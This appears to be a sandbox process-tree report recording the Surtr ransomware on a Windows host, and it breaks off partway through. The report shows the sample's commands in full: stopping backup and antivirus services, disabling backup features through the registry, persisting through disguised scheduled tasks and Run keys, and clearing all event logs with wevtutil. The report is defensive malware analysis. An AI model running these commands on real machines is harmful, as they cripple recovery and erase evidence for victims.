    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
    3⤵
    PID:452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
  2⤵
  PID:268
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
    3⤵
    PID:300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Symantec System Recovery"
  2⤵
  PID:292
- - C:\Windows\system32\net.exe
    net stop "Symantec System Recovery"
    3⤵
    PID:4188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Symantec System Recovery"
      4⤵
      PID:736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
    3⤵
    PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Veeam Backup Catalog Data Service"
  2⤵
  PID:1448
- - C:\Windows\system32\net.exe
    net stop "Veeam Backup Catalog Data Service"
    3⤵
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service"
      4⤵
      PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
  2⤵
  PID:1244
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
    3⤵
    PID:4628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "AcronisAgent"
  2⤵
  PID:3928
- - C:\Windows\system32\net.exe
    net stop "AcronisAgent"
    3⤵
    PID:832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "AcronisAgent"
      4⤵
      PID:3380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
    3⤵
    PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
    3⤵
    PID:4424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "AcrSch2Svc"
  2⤵
  PID:4080
- - C:\Windows\system32\net.exe
    net stop "AcrSch2Svc"
    3⤵
    PID:968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "AcrSch2Svc"
      4⤵
      PID:1764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
  2⤵
  PID:624
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
    3⤵
    PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Antivirus"
  2⤵
  PID:3976
- - C:\Windows\system32\net.exe
    net stop "Antivirus"
    3⤵
    PID:3348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Antivirus"
      4⤵
      PID:1660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
    3⤵
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
  2⤵
  PID:3628
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
    3⤵
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecAgentAccelerator"
  2⤵
  PID:3172
- - C:\Windows\system32\net.exe
    net stop "BackupExecAgentAccelerator"
    3⤵
    PID:2932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentAccelerator"
      4⤵
      PID:1588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  2⤵
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
    3⤵
    PID:3880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecAgentBrowser"
  2⤵
  PID:4416
- - C:\Windows\system32\net.exe
    net stop "BackupExecAgentBrowser"
    3⤵
    PID:4996
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentBrowser"
      4⤵
      PID:1304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mkdir "C:\ProgramData\Service"
  2⤵
  PID:400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
  2⤵
  PID:1856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecDeviceMediaService"
  2⤵
  PID:3332
- - C:\Windows\system32\net.exe
    net stop "BackupExecDeviceMediaService"
    3⤵
    PID:3492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecDeviceMediaService"
      4⤵
      PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
  2⤵
  - Drops startup file
  PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
  2⤵
  - Drops startup file
  PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecJobEngine"
  2⤵
  PID:4328
- - C:\Windows\system32\net.exe
    net stop "BackupExecJobEngine"
    3⤵
    PID:4072
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecJobEngine"
      4⤵
      PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
  2⤵
  PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
  2⤵
  PID:2576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
  2⤵
  PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecManagementService"
  2⤵
  PID:4092
- - C:\Windows\system32\net.exe
    net stop "BackupExecManagementService"
    3⤵
    PID:4500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecManagementService"
      4⤵
      PID:2724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
  2⤵
  PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
  2⤵
  PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecRPCService"
  2⤵
  PID:1684
- - C:\Windows\system32\net.exe
    net stop "BackupExecRPCService"
    3⤵
    PID:4304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecRPCService"
      4⤵
      PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
  2⤵
  PID:2772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +R /S "C:\ProgramData\Service"
  2⤵
  PID:4456
- - C:\Windows\system32\attrib.exe
    attrib +R /S "C:\ProgramData\Service"
    3⤵
    - Views/modifies file attributes
    PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "BackupExecVSSProvider"
  2⤵
  PID:5052
- - C:\Windows\system32\net.exe
    net stop "BackupExecVSSProvider"
    3⤵
    PID:452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "BackupExecVSSProvider"
      4⤵
      PID:2792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "EPSecurityService"
  2⤵
  PID:2336
- - C:\Windows\system32\net.exe
    net stop "EPSecurityService"
    3⤵
    PID:4472
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "EPSecurityService"
      4⤵
      PID:280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +R /S "%TEMP%\Service"
  2⤵
  PID:2120
- - C:\Windows\system32\attrib.exe
    attrib +R /S "C:\Users\Admin\AppData\Local\Temp\Service"
    3⤵
    - Views/modifies file attributes
    PID:4960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "IISAdmin"
  2⤵
  PID:3032
- - C:\Windows\system32\net.exe
    net stop "IISAdmin"
    3⤵
    PID:296
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "IISAdmin"
      4⤵
      PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  2⤵
  PID:4188
- - C:\Windows\system32\schtasks.exe
    schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "IMAP4Svc"
  2⤵
  PID:3640
- - C:\Windows\system32\net.exe
    net stop "IMAP4Svc"
    3⤵
    PID:4628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "IMAP4Svc"
      4⤵
      PID:1020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
  2⤵
  PID:4564
- - C:\Windows\system32\schtasks.exe
    schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "macmnsvc"
  2⤵
  PID:3988
- - C:\Windows\system32\net.exe
    net stop "macmnsvc"
    3⤵
    PID:932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "macmnsvc"
      4⤵
      PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
  2⤵
  - Drops startup file
  PID:3320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  2⤵
  PID:4424
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    - Adds Run key to start application
    PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "masvc"
  2⤵
  PID:1152
- - C:\Windows\system32\net.exe
    net stop "masvc"
    3⤵
    PID:4884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "masvc"
      4⤵
      PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  2⤵
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    - Adds Run key to start application
    PID:3896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    - Adds Run key to start application
    PID:3016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MBAMService"
  2⤵
  PID:3348
- - C:\Windows\system32\net.exe
    net stop "MBAMService"
    3⤵
    PID:1172
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MBAMService"
      4⤵
      PID:1400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
    3⤵
    - Adds Run key to start application
    PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MBEndpointAgent"
  2⤵
  PID:1588
- - C:\Windows\system32\net.exe
    net stop "MBEndpointAgent"
    3⤵
    PID:1612
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MBEndpointAgent"
      4⤵
      PID:832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "McAfeeEngineService"
  2⤵
  PID:2744
- - C:\Windows\system32\net.exe
    net stop "McAfeeEngineService"
    3⤵
    PID:4996
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McAfeeEngineService"
      4⤵
      PID:428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "McAfeeFramework"
  2⤵
  PID:4848
- - C:\Windows\system32\net.exe
    net stop "McAfeeFramework"
    3⤵
    PID:3988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFramework"
      4⤵
      PID:3840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "McAfeeFrameworkMcAfeeFramework"
  2⤵
  PID:4740
- - C:\Windows\system32\net.exe
    net stop "McAfeeFrameworkMcAfeeFramework"
    3⤵
    PID:2332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework"
      4⤵
      PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "McShield"
  2⤵
  PID:4504
- - C:\Windows\system32\net.exe
    net stop "McShield"
    3⤵
    PID:3208
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McShield"
      4⤵
      PID:5864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "mfemms"
  2⤵
  PID:832
- - C:\Windows\system32\net.exe
    net stop "mfemms"
    3⤵
    PID:6508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "mfemms"
      4⤵
      PID:2888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "mfevtp"
  2⤵
  PID:5768
- - C:\Windows\system32\net.exe
    net stop "mfevtp"
    3⤵
    PID:4600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "mfevtp"
      4⤵
      PID:4172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MMS"
  2⤵
  PID:5872
- - C:\Windows\system32\net.exe
    net stop "MMS"
    3⤵
    PID:1448
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MMS"
      4⤵
      PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "mozyprobackup"
  2⤵
  PID:5596
- - C:\Windows\system32\net.exe
    net stop "mozyprobackup"
    3⤵
    PID:2596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "mozyprobackup"
      4⤵
      PID:6512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MsDtsServer"
  2⤵
  PID:5268
- - C:\Windows\system32\net.exe
    net stop "MsDtsServer"
    3⤵
    PID:1468
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer"
      4⤵
      PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MsDtsServer100"
  2⤵
  PID:6588
- - C:\Windows\system32\net.exe
    net stop "MsDtsServer100"
    3⤵
    PID:6968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer100"
      4⤵
      PID:7016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MsDtsServer110"
  2⤵
  PID:7888
- - C:\Windows\system32\net.exe
    net stop "MsDtsServer110"
    3⤵
    PID:7912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer110"
      4⤵
      PID:7044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeES"
  2⤵
  PID:8404
- - C:\Windows\system32\net.exe
    net stop "MSExchangeES"
    3⤵
    PID:6080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeES"
      4⤵
      PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c for /F "tokens=*" %s in ('wevtutil.exe el') DO wevtutil.exe cl "%s"
  2⤵
  PID:5952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wevtutil.exe el
    3⤵
    PID:7944
  - - C:\Windows\system32\wevtutil.exe
      wevtutil.exe el
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:7980
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "AMSI/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "AirSpaceChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8732
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Application"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6600
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "DirectShowFilterGraph"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:9072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "DirectShowPluginControl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Els_Hyphenation/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "EndpointMapper"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "FirstUXPerf-Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "ForwardedEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "General Logging"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "HardwareEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:10192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "IHM_DebugChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7504
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6248
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Internet Explorer"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Key Management Service"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:9084
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6376
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationFrameServer"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProc"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8952
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProcD3D"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationAsyncWrapper"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationContentProtection"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDS"
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDeviceProxy"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMP4"
    3⤵
    PID:7644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMediaEngine"
    3⤵
    PID:7656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformance"
    3⤵
    PID:1252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformanceCore"
    3⤵
    PID:4720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPipeline"
    3⤵
    PID:4936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPlatform"
    3⤵
    PID:8612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationSrcPrefetch"
    3⤵
    PID:5836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client-Streamingux/Debug"
    3⤵
    PID:5680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Admin"
    3⤵
    PID:9968
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Debug"
    3⤵
    PID:6976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Operational"
    3⤵
    PID:2936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Virtual Applications"
    3⤵
    PID:7580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-SharedPerformance/Analytic"
    3⤵
    PID:10096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Admin"
    3⤵
    PID:5764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Debug"
    3⤵
    PID:1080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Diagnostic"
    3⤵
    PID:7548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IE/Diagnostic"
    3⤵
    PID:7256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
    3⤵
    PID:7776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
    3⤵
    PID:6152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-OneCore-Setup/Analytic"
    3⤵
    - Clears Windows event logs
    PID:7928
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
    3⤵
    PID:8024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:8240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Admin/Debug"
    3⤵
    PID:10112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Debug"
    3⤵
    - Clears Windows event logs
    PID:5660
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"
    3⤵
    PID:6324
- - C:\Windows\system32\wevtutil.exe
